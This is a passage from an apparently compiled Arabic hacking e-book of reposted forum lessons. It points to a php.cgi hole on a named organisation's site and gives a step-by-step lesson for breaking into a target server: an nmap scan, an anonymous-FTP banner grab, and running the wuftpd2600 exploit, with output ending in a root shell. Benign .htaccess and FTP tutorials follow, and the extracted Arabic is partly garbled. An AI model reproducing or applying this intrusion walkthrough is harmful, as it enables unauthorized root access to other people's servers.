‫انا نسيت اقول حاهجه ماني متأكد منها لعل من يعلق‬ ‫على الموضوع ان كانت غير صحيحه يصححها‬<br /> <br /> ‫ان ممكن تكون الثغره بمجلد ثاني اسمه ‪scripts‬‬ ‫وتصبح الثغره السابقه‬ ‫‪565‬‬<br /> <br /> ‫‪http://www.jewish.org/scripts/php.c‬‬ ‫‪gi‬‬ ‫‪ scripts‬تخاص بسيرفرات فيها ‪winnt‬‬ ‫‪ cgi-bin‬تخاص بسيرفرات يونيكس او ايريس او‬ ‫لينكس‬<br /> <br /> ‫للمعلوميه المجلدات السابقه توضع فيها الملفات‬ ‫التنفيذبه من هجهة السيرفر مثل البلت هجافا‬<br /> <br /> ‫اما ملفات السكربت هجافا تنفذ على هجهازك مثل اللي‬ ‫تطلع في المستعرض‪.‬‬<br /> <br /> ‫‪566‬‬<br /> <br /> ‫انتهى‪،،،‬‬<br /> <br /> ‫" درس في اتختراق المواقع )متوسط( "‬ ‫>منقول<‬ ‫>الكاتب‪< ICER :‬‬ ‫الدوات المطلوبه ‪ :‬شيل اكاونت ‪...‬اذا بحثت في‬ ‫هجوهجل سوف تجد الكثير من الشيلز‬ ‫طبعا الناس المحترمه )احمممم( بتركب لينكس او‬ ‫يونيكس و تعيش حياتها و تريح‬ ‫نفسها‪...‬في ناس تانيه ماتحبش اللينكس فالشيل‬ ‫اكاونت كويس لها و ممكن يمشي‬ ‫انا عن نفسي مش حاستعمل التنين ‪(:‬‬ ‫بس بالنسبه للي حيستعملو الشيل لز‪.‬م يتاكدو انه‬ ‫بيسمح بالبرامج الساسيه زي‬<br /> <br /> ‫‪567‬‬<br /> <br /> ‫‪nslookup, host, dig, ping,‬‬ ‫‪traceroute,telnet, ssh, ftp‬‬ ‫و اساسي لز‪.‬م ال ‪ gcc‬عشان تعرف تعمل‬ ‫كومبايل‪)...‬يا عم ركب لينكس و ريح نفسك (‬ ‫و طبعا الدوات دي ‪ nmap and netcat‬و اتخر‬ ‫حاهجه هي الكسبلويت ‪.‬‬ ‫*بعض الملحوظات الهامه ‪:‬‬ ‫‪-1‬الشيل اكاونت شبيه هجدا بالدوس مع اتختلف في‬ ‫الوامر و الوظائف ‪..‬مش حناقش كيفيه‬ ‫الحصول على واحد لن فيه مواضيع كثيره اتكلمت‬ ‫عليه‪.‬‬ ‫‪ -2‬اداه ال ‪ nmap‬هي عباره عن بورت سكانر متقد‪.‬م‬ ‫‪ -3‬ال ‪ NetCat‬هي اداه شبيه بالتلنت و تقو‪.‬م برفع‬ ‫بيانات لسيرفير معين‬ ‫‪-4‬الكسبلويتات هي عباره عن برامج غالبا تكون‬ ‫مكتوبه بلغه السي و هي تقو‪.‬م‬ ‫باعطائك كافه الصلحيات فهي تخترق هجهاز معين و‬ ‫تقو‪.‬م بعمل كل شيء انت تريده‬ ‫ممكن تلقيها فين؟؟؟‬ ‫مواقع السيكيوريتي على افه من يشيل‪...‬دور و لو‬ ‫مالقيتش قولي و انا اديلك كا‪.‬م موقع‬ ‫تجيب منه الحاهجات دي‪....‬‬ ‫‪568‬‬<br /> <br /> : ‫*المواقع المرتبطه بالموضوع‬ (a) Linux (http://www.slackware.com (b) Nmap (http://www.insecure.org c) NetCat /(http://www.l0pht.com/~weld/netcat ( -: ‫الخطوات‬ ‫ ركب الينكس و تخش عالنت )مش قلتلك مفيش‬-1 ( P: ‫احسن من اللينكس‬ : ‫ متبعا التالي‬nmap ‫ ركب الداه‬-2 tar zxvf nmap.tar.gz (1* cd nmap (2 configure && make && make/. (3 install .. ‫شوف الموقع المستهدف و ليكن‬-3 www.target.com ‫م‬.‫ شوف الي بي تبع الموقع باستخدا‬-4 nslookup www.target.com 569<br /> <br /> ‫هذا سوف يعرض لك الي بي للموقع و ليكن‬ 196.1.2.3 ‫ شوف الخدمات اللي بيقدمها الموقع و كمان شوف‬-5 -: ‫م التشغيل متبعا التالي‬.‫نظا‬ "nmap -sS -O 196.1.2.3" -: ‫م ده‬.‫المفروض انه يديك مخرهجات شبه الكل‬ root@IcEr:~# nmap -sS -O 196.1.2.3 Starting nmap V. 2.54BETA22 ( /( www.insecure.org/nmap Interesting ports on :(www.target.com (196.1.2.3 The 1531 ports scanned but not) (shown below are in state: closed Port State Service tcp open ftp/21 tcp open smtp/25 tcp open http/80 tcp open sunrpc/111 tcp open auth/113 tcp open printer/515 570<br /> <br /> tcp open unknown/963 tcp open kdm/1024 tcp filtered krb524/4444 tcp open X11/6000 tcp filtered napster/6699 OS guess for host: Linux 2.2.142.2.16 Uptime 0.160 days (since Mon Apr (30 14:51:06 2001 Nmap run completed -- 1 IP address (1 host up) scanned in 67 seconds #~:root@IcEr<br /> <br /> (: ‫م كده يا شباب‬.‫تما‬ ...‫نكمل‬ ‫م ده كله عباره عن استكشاف للموقع يوريك‬.‫الكل‬ FTP ‫ممكن تشوف لو كان فيه‬..‫البورتات المفتوحه‬ daemon 571<br /> <br /> ‫شغال على الموقع و ل ل في المثال اللي فوق حنلقيه‬ ‫موهجود و ده كويس‬ ‫ موهجوده‬FTP daemon ‫شوف اي فيرحين من‬ -: ‫متبعا التالي‬ "telnet 196.1.2.3 21" ‫او‬ "ftp 196.1.2.3" ‫اي منهم حيديك بانر فيه الفيرهجين بتاعه الف تي بي‬ ‫ديمون اللي شغاله على السيرفير‬ : ‫ممكن يكون زي كده‬ root@IcEr:~# ftp 196.1.2.3 .Connected to 196.1.2.3 www.target.com FTP server 220 (Version wu-2.6.0(1) Mon Mar 6 (13:54:16 SAST 2000 .ready Name (target:root): anonymous Guest login ok, send your 331 complete e-mail address as .password :Password 572<br /> <br /> Welcome, archive user! This is-230 an experimental FTP server. If have any unusual problems, please-230 report them via e-mail to root@IcEr.pandora.net If you do have problems, please-230 try using a dash (-) as the first character of your password -- this will-230 turn off the continuation messages that may .be confusing your ftp client-230 -230 Guest login ok, access 230 .restrictions apply .Remote system type is UNIX .Using binary mode to transfer files ftp>by #~:root@IcEr<br /> <br /> 573<br /> <br /> ‫من الكل‪.‬م ده تقدر تعرف ان الفيرهجين الموهجوده هي‬ ‫‪.wu-2.6.0‬‬ ‫و ايضا احنا حاولنا نخش كمجهولين‬ ‫‪ anonymous‬و كانت اعمليه ناهجحه ;(‬ ‫‪ #######‬صلي على الحبيب المختار ‪#######‬‬ ‫‪ 7‬او ‪ 8‬مش فاكر المهم انها اهم تخطوه ‪-:‬‬ ‫احصل على الكسبلويت بتاعه الفيرهجين ديه من‬ ‫‪.FTPd‬‬ ‫)اللي يعمل سيرش ميتوهش (‬ ‫و لتكن ‪wuftpd2600.c‬‬ ‫المهم لو شفت السورس كود بتاعها حتلقي انها‬ ‫متكوده عشان نظا‪.‬م تشغيل معين و ليكن ‪red hat‬‬ ‫‪6.2‬‬ ‫و يا سل‪.‬م لو كان الموقع المستهدف بيعمل على نظا‪.‬م‬ ‫التشغيل ده‬ ‫كده يبقى كل اللي تعمله انك تعمل كومبايل للثغره دي‬ ‫و بشغلها على سيرفر‬ ‫الموقع المستهدف و كده حيديك ‪root access‬‬ ‫;‪(-‬‬ ‫‪root@IcEr:~/# ./wuftpd2600 -t -s 0‬‬ ‫‪196.1.2.3‬‬ ‫‪574‬‬<br /> <br /> Target: 196.1.2.3 (ftp/<shellcode>): RedHat 6.2 (?) with wuftpd 2.6.0(1) from rpm Return Address: 0x08075844, AddrRetAddr: 0xbfffb028, Shellcode: 152 ..loggin into system USER ftp Guest login ok, send your 331 complete e-mail address as .password <PASS <shellcode Next time please use your e--230 mail address as your password for example: icer@ae.net -230 Guest login ok, access 230 .restrictions apply STEP 2 : Skipping, magic number already exists: [[87,01:03,02:01,01:02,04 STEP 3 : Checking if we can reach our return address by format string 575<br /> <br /> STEP 4 : Ptr address test: 0xbfffb028 (if it is not 0xbfffb028 ^C (me now STEP 5 : Sending code.. this will .take about 10 seconds Press ^\ to leave shell Linux lame_box.za.net 2.2.14-5.0 #1 Tue Mar 7 21:07:39 EST 2000 i686 unknown uid=0(root) gid=0(root) egid=50(ftp) (groups=50(ftp !Bang! You have root<br /> <br /> ‫شوف المر ده‬.. ‫طبعا انا نسيت امر الكومبايل‬ man gcc ‫بكل‬.. ‫و هوه حيديلك معلومات كامله عن امر الكومبايل‬ ‫الخيارات اللي معاه‬ (: ‫كده يبقى انا كده عملت اللي عليه‬ ‫محدش يسالني باه بعد كده و يقولي ياواد يا ايسر‬ ‫اعمل ايه‬ search..U will find what U wanna 576<br /> <br /> ‫طيب ‪...‬اه نسيت ‪..‬محدش سالني اعمل بالنت كات بعد‬ ‫كده ‪..‬بعض الثغرات بتحتاهجه‪..‬‬ ‫لو لحظت اننا استغلينا تخاصيه ال ‪annonymous‬‬ ‫الموهجوده ‪..‬لكن لو كانت الخاصيه‬ ‫دي مش موهجوده ‪..‬يبقى مش حنعرف نكمل الكل‪.‬م ده‬ ‫عشان الكسبلويت مش تشتغل ‪..‬في هذه الحاله‬ ‫الكسبلويت مش تشتغل ال لو معانا باسورد و يوزر‬ ‫نيم‬ ‫عشان نخش على الف تي بي بتاع الموقع‪..‬‬ ‫عشان كده لز‪.‬م تقرا السورس بتاع الكسبلويت‪..‬و كل‬ ‫اكسبلويت لها ساينتكس و شغل‬ ‫تخاص بيها‪..‬بس المبادئ الساسيه و احده‪.‬‬ ‫انتهى‪،،،‬‬<br /> <br /> ‫‪577‬‬<br /> <br /> 578<br /> <br /> ‫" شرح ملف ‪" htaccess‬‬ ‫>منقول<‬ ‫>الكاتب‪< BSD-r00t :‬‬ ‫| * مقدمـــة‬ ‫| * اهمية ملف ‪htaccess.‬‬ ‫| * كيفية عمل ملف ‪htaccess.‬‬ ‫|‬ ‫| * عمل صفحات ‪ error‬تخاصة‬ ‫|‬ ‫‪579‬‬<br /> <br /> ‫|‬ ‫|‬<br /> <br /> ‫| * منع عرض محتويات المجلد الذي ل يوهجد به‬ ‫‪| index‬‬ ‫| * منع‪/‬اتاحة دتخول الموقع لشخاص معينة‬ ‫|‬ ‫|‬ ‫| * تحويل من يحاول فتح لينك للينك اتخر‬ ‫| * عمل الملف ‪.htpasswd‬‬ ‫|‬ ‫|‬ ‫| *الحماية بواسطه ‪htaccess.‬‬ ‫| * منع اظهار الملف ‪htaccess.‬‬ ‫|‬ ‫|‬ ‫| * اضافة مستخدمين في الملف‬ ‫|‬ ‫| * هجعل الصفحات تظهر بامتداد اتخر‬ ‫‪-------------------------------------------------‬‬‫* مقدمـــة‬ ‫‪-----------‬‬‫من اهم وسائل حماية المواقع و اغلق بعض الهجزاء‬ ‫فيه بكلمة سر ‪ ,‬و منع بعض الناس من دتخل الموقع و‬ ‫السما ح‬ ‫لغيرهم بالدتخول ‪ ..‬هو استخدا‪.‬م الملف ‪htaccess.‬‬ ‫و الذي يمكن عمل الكثير و الكثير به ‪.‬‬ ‫و هذا الملف مخفي و محمي بكلمة سر‬ ‫‪580‬‬<br /> <br /> ‫* اهمية ملف ‪htaccess.‬‬ ‫‪----------------------‬‬‫‪ -1‬حماية اي هجزء فيه بكملة سر‬ ‫‪ -2‬عمل صفحات ‪ error‬تخاصة بك‬ ‫‪ -3‬منع عرض محتويات المجلد الذي ل يوهجد به‬ ‫‪index‬‬ ‫‪ -4‬منع‪/‬اتاحة دتخول الموقع لشخاص معينة‬ ‫‪ -5‬هجعل صفحة البداية بأمتدادات غير ‪html ,.‬‬ ‫‪.. .asp‬‬ ‫‪ -6‬تحويل من يحاول فتح لينك للينك اتخر‬<br /> <br /> ‫* كيفية عمل ملف ‪htaccess.‬‬ ‫‪--------------------------‬‬‫يمكنك عمل هذا الملف بواسطه اي محرر نصوص مثل‬ ‫النوت باد "‪ "Notepad‬عن طريق عمل للملف حفظ‬ ‫باسم و نحفظ‬ ‫الملف بهذا السم ‪ htacces.‬على ان يكون ليس‬ ‫امتداده ‪ txt.‬اي ان ليس هناك اسم للملف ‪ ,‬اذا لم‬ ‫تستطيع ذلك‬ ‫‪581‬‬<br /> <br /> ‫احفظ الملف باسم "‪ - "htaccess.‬علمتي‬ ‫التنصيص في اسم الملف ‪. -‬‬<br /> <br /> ‫* عمل صفحات ‪ error‬تخاصة‬ ‫‪-----------------------‬‬‫و الفائدة منها هو ان الموقع يظهر بشكل افضل كما‬ ‫انه عند محاولة اي شخص عمل سكان على الموقع‬ ‫سوف يظهر كان‬ ‫الموقع به كل الثغرات و ذلك لن طريقة عمل السكانر‬ ‫هي انه يقو‪.‬م بتطبيق كل ثغره على الموقع و يرصد‬ ‫النتيجه‬ ‫فاذا كان هناك اي تغير يظهر لك كأن الموقع عليه هذه‬ ‫الثغره ‪.‬‬ ‫و يمكنك عمل صفحات ال ‪ error‬الخاصه ك عن‬ ‫طريق ‪-:‬‬ ‫أ‪ -‬تصميم صفحات ال ‪ error‬اول‬ ‫ب‪ -‬تحميل الصفحات على الموقع‬ ‫ج‪ -‬اضافه السطر التابي في الملف ‪htaccess.‬‬ ‫‪ErrorDocument error_num‬‬ ‫‪directory_file‬‬ ‫‪582‬‬<br /> <br /> ‫م‬.‫ هو رقم الخطا " الرقا‬error_num ‫بخيث يكون‬ ‫ هو مكان‬directory_file ‫موهجود بالسفل " و‬ ‫ التي‬error ‫صفحه ال‬ . ‫قمت بتصميمها‬ : ‫مثال‬ ErrorDocument 404 /errors/nfound.html - : ‫ و ارقامها‬errors ‫ال‬ ----------------------| Bad Syntax | 400 | ----------------------| Unauthorized | 401 | ----------------------| Not Used | 402 | ----------------------| Forbidden | 403 | ----------------------| Not Found | 404 | ----------------------583<br /> <br /> ‫* منع عرض محتويات المجلد الذي ل يوهجد به‬ ‫‪index‬‬ ‫‪----------------------------------------------‬‬‫بعض المواقع عند محاولة فتح اي دليل عليها و ل‬ ‫يكون به ملف ‪ index‬يقو‪.‬م الموقع بسرد هجميع‬ ‫محتويات هذا الدليل‬ ‫و لحل هذه المشكله توهجد طريقتين ‪-:‬‬ ‫أ‪ -‬وضع ملف ‪ index‬في كل المجلدات " و بالطبع‬ ‫هذا صعب هجدا "‬ ‫ب‪ -‬باستخدا‪.‬م الملف ‪ htaccess.‬عن طريق اضافه‬ ‫السطر التالي في الملف ‪-:‬‬ ‫‪Options -Indexes‬‬<br /> <br /> ‫* منع‪/‬اتاحة دتخول الموقع لشخاص معينة‬ ‫‪------------------------------------‬‬‫يمكنك باستخدا‪.‬م الملف ‪ htaccess.‬منع شخص‬ ‫معين من دتخول الموقع بعد معرفة الي بي الخاصه به‬ ‫و يمكنك التسفاده‬<br /> <br /> ‫‪584‬‬<br /> <br /> ‫من ذلك حيث يمكنك منع دتخل الموقع لمن ل تريد كما‬ ‫يمكنك منع دتخول الموقع لي شخص في اسرائيل مثل‬ ‫‪..‬‬ ‫و يمكنك ذلك عن طريق اضافة السطر التالي في‬ ‫الملف ‪- :‬‬ ‫???‪deny from ???.???.???.‬‬ ‫حيث ان ؟؟؟‪.‬؟؟؟‪.‬؟؟؟‪.‬؟؟؟ هو الي بي الخاص به ‪.‬‬ ‫واذا اردت منع اي احد من دتخول الموقع يمكنك اضافة‬ ‫السطر التالي ‪-:‬‬ ‫‪deny from all‬‬ ‫واذا اردت السما ح لشخص معين بدتخول الموقع يمكنك‬ ‫ذلك باضافة السطر التالي ‪-:‬‬ ‫؟؟؟‪.‬؟؟؟‪.‬؟؟؟‪.‬؟؟؟ ‪allow from‬‬ ‫حيث انا ؟؟؟‪.‬؟؟؟‪.‬؟؟؟‪.‬؟؟؟ هو الي بي الخاص به‬<br /> <br /> ‫* تحويل من يحاول فتح لينك للينك اتخر‬ ‫‪------------------------------------‬‬‫‪585‬‬<br /> <br /> ‫وتسمى هذه العمليه ب ‪ Redirection‬وهي من اهم‬ ‫فوائد ‪ htaccess.‬الملف تستخد‪.‬م مثل عند تغير‬ ‫موقع ملف قديم‬ ‫على الموقع الى مكان هجديد فيمكنك باستخدا‪.‬م الملف ‪.‬‬ ‫‪ htaccess‬عند محاولة احد فتح احد الينك القديم‬ ‫توهجيه‬ ‫الى الينك الجديد عن طريق اضافة السطر التالي في‬ ‫الملف ‪-:‬‬ ‫???‪Redirect/???.‬‬ ‫???‪/somewhere/???.‬‬ ‫‪http://www.site.com/newlocation‬‬ ‫بحيث يكون ‪ ???.???/somewhere/‬هو مكان‬ ‫الملف القديم و‬ ‫‪??/http://www.site.com/newlocation‬‬ ‫?‪ ???.‬هو مكان‬ ‫الملف الجديد‪.‬‬ ‫‪---------‬‬‫* عمل الملف ‪.htpasswd‬‬ ‫‪------------------------‬‬<br /> <br /> ‫‪586‬‬<br /> <br /> ‫ويمكنك تقو‪.‬م بعمله بنفس طريقة الملف ‪htaccess.‬‬ ‫‪ ,‬و سوف نعمله تى نسطيع استخدا‪.‬م الملف ‪.‬‬ ‫‪htaccess‬‬ ‫في الحماية و سوف نكتب في الملف ‪ htpasswd‬ما‬ ‫يأتي ‪-:‬‬ ‫‪user1:EncryptedPwd1‬‬ ‫‪user2:EncryptedPwd2‬‬ ‫‪ o‬حيث ان ‪ user1 , user2‬هو اسم المستخد‪.‬م ‪.‬‬ ‫‪ o‬و ‪EncryptedPwd1 ,‬‬ ‫‪ EncryptedPwd2‬هي كلمات السر ولكن مشفره‬ ‫و يمكنك تشفير اي كلمة تريدها‬ ‫عن طريق الموقع‬ ‫‪http://www.euronet.nl/~arnow/htpas‬‬ ‫‪swd‬‬ ‫او‬ ‫‪http://www.e2.u‬‬‫‪net.com/htaccess/make.htm‬‬ ‫‪587‬‬<br /> <br /> ‫فمثل لو اردنا وضع يوسر باسم ‪ Security‬و كلمة‬ ‫السر الخاصة به هي ‪ fu93hds3‬نذهب اول الى‬ ‫الموقع‬ ‫‪http://www.euronet.nl/~arnow/htpas‬‬ ‫‪swd‬‬ ‫‪ o‬و ‪username : Security‬‬ ‫‪ o‬و ‪passwrod & re-enter password :‬‬ ‫‪fu93hds3‬‬ ‫‪ o‬و نضغط على الزر ‪ claculate‬لتظهر النتيجه‬ ‫‪Security:893bNicBcwszw <-‬‬‫و الن قد اتممنا عمل الملف ‪ htaccess.‬و الذي‬ ‫قمنا بعمله و ذلك لكي نستطيع استخدا‪.‬م الملف ‪.‬‬ ‫‪htaccess‬‬ ‫للحماية بكلمة سر و يوسر ‪.‬‬ ‫* الحماية بواسطه ‪htaccess.‬‬ ‫‪---------------------------‬‬‫و تعتبر الفائدة الرئيسية للملف حيث انه يمكن منع اي‬ ‫احد من دتخول دليل معين في الموقع ال اذا كان معه‬ ‫كلمة السر و اليوسر نيم ‪ ,‬فيمنكنك عن طريقها عمل‬ ‫منتدى تخاص او اي شئ تريد‪.‬‬ ‫‪588‬‬<br /> <br /> ‫فعند وضع الملف ‪ htaccess.‬في اي دليل و حاول‬ ‫احد دتخول هذا الدليل او اي هجزء يندرج تحته سوف‬ ‫يطلب منه‬ ‫كلمة سر و يوسر ‪.‬‬ ‫و يمكنك عمل ذلك عن طريق اضافة ما يأتي في الملف‬ ‫قبل نسخه في الدليل المراد حمايته ‪--:‬‬<br /> <br /> ‫‪AuthUserFile‬‬ ‫‪/somewhere/.htpasswd‬‬ ‫"‬ ‫‪AuthName "Enter your user and‬‬ ‫‪passed please‬‬ ‫‪Require valid-user‬‬ ‫‪AuthType Basic‬‬<br /> <br /> ‫>‪<Limit GET POST‬‬ ‫‪589‬‬<br /> <br /> ‫‪require valid-user‬‬ ‫>‪<Limit/‬‬ ‫‪ o‬بحيث يكون ‪ /somewhere/.htpasswd‬هو‬ ‫مكان ملف ‪ htpasswd.‬على موقعك‬ ‫‪ o‬و يكون ‪Enter your user and passed‬‬ ‫‪ please‬هي الرساله التي سوف تظهر لتطلب كلمة‬ ‫السر‬ ‫* منع اظهار الملف ‪htaccess.‬‬ ‫‪----------------------------‬‬‫قد عرفنا الن ان لهذا الملف اهميه كبيره فيجب علينا‬ ‫ان نحميه هجيدا ‪ ,‬فالبرغم من ان الملف مخفي ال‬ ‫انه غير سالم من ان يكون السرفر نفسه غير مؤمن او‬ ‫انه هناك تصريح تخطأ ‪..‬‬ ‫لذلك سوف نمنع عرض هذا الملف عن طريق اضافة‬ ‫ما يأتي ‪- :‬‬<br /> <br /> ‫>‪<Files .htaccess‬‬ ‫‪590‬‬<br /> <br /> ‫‪order allow,deny‬‬<br /> <br /> ‫‪deny from all‬‬ ‫>‪<Files/‬‬ ‫فاذا حاول احد عرض الملف سوف يظهر له ‪error‬‬ ‫‪. 403‬‬<br /> <br /> ‫* هجعل الصفحات تظهر بامتداد اتخر‬ ‫‪------------------------------‬‬‫ويمكن باستخدا‪.‬م هذه الخاصية عمل ملف يظهر كأن‬ ‫امتداده ‪ html.‬و لكنه ذو امتداد ‪ txt.‬مثل ‪.‬‬ ‫باضاف السطر التالي ‪-:‬‬ ‫‪AddType text/plain html‬‬ ‫ويمكنك رؤية كافى التغيرات التي يمكنك عملها في هذا‬ ‫الملف ‪-:‬‬<br /> <br /> ‫‪591‬‬<br /> <br /> ‫‪http://www.pharaonics.net/books/MI‬‬ ‫‪ME.txt‬‬ ‫انتهى‪،،،‬‬<br /> <br /> ‫" بنظا م بنقل الملفات ‪" FTP‬‬ ‫>منقول من منتدى إعصار<‬ ‫>الكاتب‪ :‬الجوكر<‬ ‫ما هو نقل الملفات ‪ FTP‬؟‬<br /> <br /> ‫‪ FTP‬هي اتختصار لكلمة ‪File Transfer‬‬ ‫‪592‬‬<br /> <br /> ‫‪ Protocol‬وتعني بروتوكول نقل الملفات‪ ،‬وهذه‬ ‫الخدمة هي احدى تسهيلت ‪ TCP/IP‬التي تجعل من‬ ‫الممكن نقل الملفات بين الكمبيوترات على الشبكة ومن‬ ‫ميزات ‪ FTP‬الرائعة أنها تقو‪.‬م بترهجمة شكل الملفات‬ ‫النصية بطريقة أتوماتيكية حيث أن الكمبيوترات‬ ‫تحتوي نظم تشغيل مختلفة وعليه فلديها أشكال‬ ‫‪ Formats‬مختلفة للملفات النصية فبالتالي تحتاج‬ ‫لترهجمة وهو ماتقو‪.‬م به ‪ ,FTP‬وبخدمة نقل الملفات‬ ‫فاننا نحتاج لبضع نقرات على الفأرة كي ننقل ملف ًا في‬ ‫أميركا الى هجهازنا ‪.‬‬ ‫أقسا‪.‬م نقل الملفات‪:‬‬ ‫نقل الملفات ينقسم الى قسمين‪:‬‬ ‫تنزيل الملفات ‪:Download‬‬ ‫وهو هجلب الملفات من الكمبيوتر المضيف ‪ Host‬الى‬ ‫الجهاز المحلي ‪.Local‬‬ ‫ارسال الملفات ‪:Uplaod‬‬ ‫‪593‬‬<br /> <br /> ‫وهو ارسال الملفات من الكمبيوتر المحلي ‪ Local‬الى‬ ‫الكمبيوتر المضيف ‪.Host‬‬ ‫ومن الناحية المنية فهناك نوعان لنقل الملفات‪:‬‬ ‫نقل مؤمن ‪:Secure FTP‬‬ ‫تحتاج الى اسم مستخد‪.‬م وكلمة مرور للدتخول الى‬ ‫النظا‪.‬م وتحصل عليه من مدير النظا‪.‬م المضيف‪.‬‬ ‫نقل مجهول ‪:Anonymous FTP‬‬ ‫لتحتاج الى اسم مستخد‪.‬م وكلمة مرور للدتخول‬ ‫وتستطيع غالب ًا استخدا‪.‬م ‪ guest‬أو ‪anonymous‬‬ ‫عوض ًا عنهما‪.‬‬ ‫تصنف مصادر البرامج على النترنت الى ثلثة أقسا‪.‬م‪:‬‬ ‫ملكية عامة ‪:Public Domain‬‬ ‫وضعت البرامج هنا للستخدا‪.‬م العا‪.‬م فليس هناك حقوق‬ ‫ملكية لحد ول قيود على استخدامها وتوزيعها‬ ‫‪594‬‬<br /> <br /> ‫وتعديلها‪.‬‬ ‫مصادر مجانية ‪:Freeware‬‬ ‫يحق للجميع استخدا‪.‬م هذه البرامج أو توزيعها ولكن‬ ‫هناك حقوق ملكية ونشر ول يجوز تعديلها أو بيعها‪.‬‬ ‫مصادر مشتركة ‪:Shareware‬‬ ‫يتم توزيع هذه البرامج بغرض التجربة قبل الشراء‬ ‫وقد لتتضمن هجميع المميزات ويجب تحطيم النسخ بعد‬ ‫انتهاء مدتها‪.‬‬<br /> <br /> ‫‪ FTP‬و الفيروسات ‪:‬‬ ‫يجب أن تعلم في البداية أن الملفات والبرامج تنقسم‬ ‫الى قسمين‬ ‫‪:ASCII‬‬ ‫‪595‬‬<br /> <br /> ‫اتختصار ًا لـ)‪American Standard Code for‬‬ ‫‪ (Information Interchange‬والملفات من‬ ‫هذا النوع تحتوي على سبعة هجزيئات ‪ bits‬تتراو ح‬ ‫قيمتها بين الصفر و ‪ .127‬ويستخد‪.‬م هذا المصطلح‬ ‫للتعبير عن المعيار الذي يقو‪.‬م بتحويل الحرف الى‬ ‫أرقا‪.‬م في الكمبيوتر‪ .‬وتستخد‪.‬م الملفات النصية هذا‬ ‫النوع من الصيغ‪.‬‬ ‫‪:Binary‬‬ ‫وتعني الملفات ذات النظا‪.‬م الثنائي وتحتوي على ثمانية‬ ‫هجزيئات ‪ bits‬تتراو ح بين الصفر و ‪ 255‬وتندرج‬ ‫الصور والبرامج والملفات المضغوطة تحت هذا النوع‪.‬‬ ‫والفيروسات ل يمكن أن تنتقل عبر ملفات ‪ ASCII‬كما‬ ‫ليمكن أن تنتقل عبر الصور كصيغ & ‪jpg & gif‬‬ ‫‪ bmp‬وغيرها من امتدادات الصور ول عبر ملفات‬ ‫الفيديو والصوت مثل ‪avi - ram - mpg - mp3‬‬ ‫‪ - wav‬وغيرها‪ ،‬وبمعنى آتخر فانها تنتقل عبر‬ ‫البرامج وملفات النظا‪.‬م والتشغيل والبرامج المضغوطة‬ ‫وعادة ماتكون‪exe - com - bat - dll - drv - :‬‬ ‫‪596‬‬<br /> <br /> ‫‪sys - bin - ovl - zip - mim - uue - xxe‬‬ ‫‪ ،- b64 - bhx‬كما يمكن أن تنتقل فيروسات الماكرو‬ ‫عبر تطبيقات ‪ ،MS Office‬لذلك احذر من هذه‬ ‫الملفات وافحصها دائم ًا قبل تشغيلها‪.‬‬<br /> <br /> ‫طريقة نقل الملفات ‪: FTP‬‬ ‫هناك طرق عديدة لنقل الملفات وهي‪:‬‬ ‫نقل الملفات باستخدا‪.‬م نظا‪.‬م ‪UNIX‬‬ ‫تتطلب هذه العملية عادة استخدا‪.‬م أوامر وهاهنا بعض‬ ‫أوامر ‪:UNIX‬‬ ‫‪ :ascii‬لنقل ملفات ‪ ASCII‬النصية‪ ،‬وعند تغيير هذا‬ ‫الوضع ثم الحاهجة لنقل ملفات من هذا النوع فيجب‬ ‫اعادة المر‪.‬‬ ‫‪597‬‬<br /> <br /> ‫‪ :binary‬لنقل الملفات الثنائية‪ ،‬وعند تغيير هذا‬ ‫الوضع ثم الحاهجة لنقل ملفات من هذا النوع فيجب‬ ‫اعادة المر‪.‬‬ ‫‪ :status‬لفحص الملف ومعرفة هل هو من نوع‬ ‫‪ ASCII‬أو ‪.Binary‬‬ ‫‪ :help‬لعرض قائمة بأوامر ‪.UNIX‬‬ ‫‪ :dir‬عرض محتويات الدليل‬ ‫‪ :ls‬عرض محتويات الدليل الحالي‪.‬‬ ‫‪ :cd directory‬تغيير الدليل‪.‬‬ ‫‪ :get filename‬هجلب الملف المطلوب وانزاله على‬ ‫هجهازك‪.‬‬ ‫‪:mget filename‬هجلب مجموعة من الملفات‪.‬‬ ‫‪ :pwd‬طباعة الدليل الحالي‪.‬‬ ‫‪598‬‬<br /> <br /> ‫‪ :bye‬انهاء الرتباط والخروج من النظا‪.‬م البعيد‪.‬‬ ‫نقل الملفات باستخدا‪.‬م حساب ‪:Shell‬‬ ‫أول ماتفعله في هذا النوع من نقل الملفات هو ادتخال‬ ‫ل سوف تدتخل‬ ‫الملقن الخاص بشركة توفير الخدمة فمث ً‬ ‫حسابك في ‪ Tripod‬عن طريق ‪،Unix Shell‬‬ ‫نكتب أو ًل المر ‪ ftp‬متبوع ًا بالوهجهة المرادة فيصبح‪:‬‬ ‫‪ ftp ftp.tripod.com‬ثم ندتخل السم وهو عل‬ ‫سبيل المثال "‪ ،"IronPrivate‬ثم نقو‪.‬م بادتخال الرقم‬ ‫ل "******"‪ .‬وبعد الدتخول الى‬ ‫السري وهو مث ً‬ ‫الحساب يمكنك استخدا‪.‬م نفس أوامر ‪ Unix‬المعتادة‪.‬‬ ‫وإذا أردت المزيد من المعلومات عن نظا‪.‬م الـ ‪Unix‬‬ ‫عليك الدتخوول الى هذا الموقع ‪:‬‬ ‫‪http://www.pc‬‬‫‪worlds.net/lunexx.html‬‬ ‫فهو يفيد المبتدئين فى هذا النظا‪.‬م ‪.‬‬ ‫‪599‬‬<br /> <br /> ‫نقل الملفات باستخدا‪.‬م المتصفح ‪:Browser‬‬ ‫نقل الملفات عن طريق المتصفحات سهل هجد ًا فما عليك‬ ‫سوى ادتخال عنوان الموقع ‪ URL‬ويبدأ العنوان بكلمة‬ ‫‪ ftp://‬ثم العنوان بد ًل من كلمة ‪ http://‬للعناوين‬ ‫العادية‪ ،‬بعد الدتخول الى موقع الـ ‪ FTP‬ستأتي‬ ‫الصفحة عبارة عن ملفات ومجلدات وماعليك سوى‬ ‫النقر على الملف المطلوب لنزاله‪.‬‬ ‫نقل الملفات باستخدا‪.‬م حساب ‪:SLIP/PPP‬‬ ‫أفضل استخدامات هذا النوع من الربط أنها تسمح لنا‬ ‫باستخدا‪.‬م برامج تابعة ‪.Client Programs‬‬ ‫وأفضل برنامج تابع يمكن استخدامه للنوافذ‬ ‫‪ Windows‬هو برنامج ‪.Ws_ftp‬‬<br /> <br /> ‫استخدا‪.‬م برنامج ‪:Ws_ftp LE 5.06‬‬ ‫ادتخل على البرنامج وذلك بالنقر المزدوج على أيقونة‬ ‫البرنامج‪ ،‬سيظهر لك مربع حوار ‪Session‬‬ ‫‪ Profile‬والذي من تخلله تقو‪.‬م بتسجيل الدتخول‪،‬‬ ‫‪600‬‬<br /> <br /> 